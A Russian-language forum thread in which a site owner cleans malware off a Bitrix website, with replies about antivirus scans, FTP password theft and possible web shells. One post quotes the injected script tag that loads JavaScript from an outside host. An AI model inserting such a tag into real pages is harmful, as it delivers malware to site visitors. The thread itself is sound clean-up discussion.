Помогите, вирус на сайте

[Accord]

Написал хостеру "Агава", вот что он мне ответил:
Обратитесь к разработчикам сайта. Мы занимаемся только размещение, но не
разработкой сайтов.
Всего доброго.

Сайт висит на битриксе papple.ru
Как вычислить этот вирус?

[Апокалипсис]

Сообщение от Accord

Сайт висит на битриксе papple.ru
Как вычислить этот вирус?

Нанять специалиста который устранит проблему.
Или самостоятельно по html коду искать вредоносный код и устранять в файлах.

[Клон]

вот, как вариант

http://antivirus-alarm.ru/

[DiAksID]

прежде всего - бежать с Агавы очень быстро...

[Accord]

Нашел вирус, <script type="text/javascript" src="http://blog.12oakshomestore.com:8080/BASIC.js"></script>
<!--a5720863944c2d0667e6d5102f462b39-->

Осталось найти в битриксе главную страницу.
2500р. пусть степашки платят )))

[Diamond]

Сделайте архив сайта, скачайте на локальный компьютер, проверьте архив антивирусом. Дальше по обстоятельствам. Это самое простое.

[Accord]

вроде удалил ))
Спасибо ребят за помощь, делов то оказалось 2 клика мыши и за это 2500р ))) люди берут

Добавлено через 2 минуты

Сообщение от Diamond

Сделайте архив сайта, скачайте на локальный компьютер, проверьте архив антивирусом. Дальше по обстоятельствам. Это самое простое.

спасибо огромное за совет (кстати хорошая идея)
Я сделал иначе, просмотрел код сайта, нашел строчку, на которую жалуется касперский, зашел через фтп клиент и всё

[HECHICERO]

Еще надо устранить причину попадания кода на сайт!

[5996682]

Ау, ТС, там походу у Вас фтп пароли троян схавал. Если их не поменяете, ждите появления вредоносного кода снова!!!

И логи покопайте, мож шел залили - штука такая, ну совсем вредная, позволяет получить доступ к файловой структуре без фтп.

[Accord]

поменял конечно фтп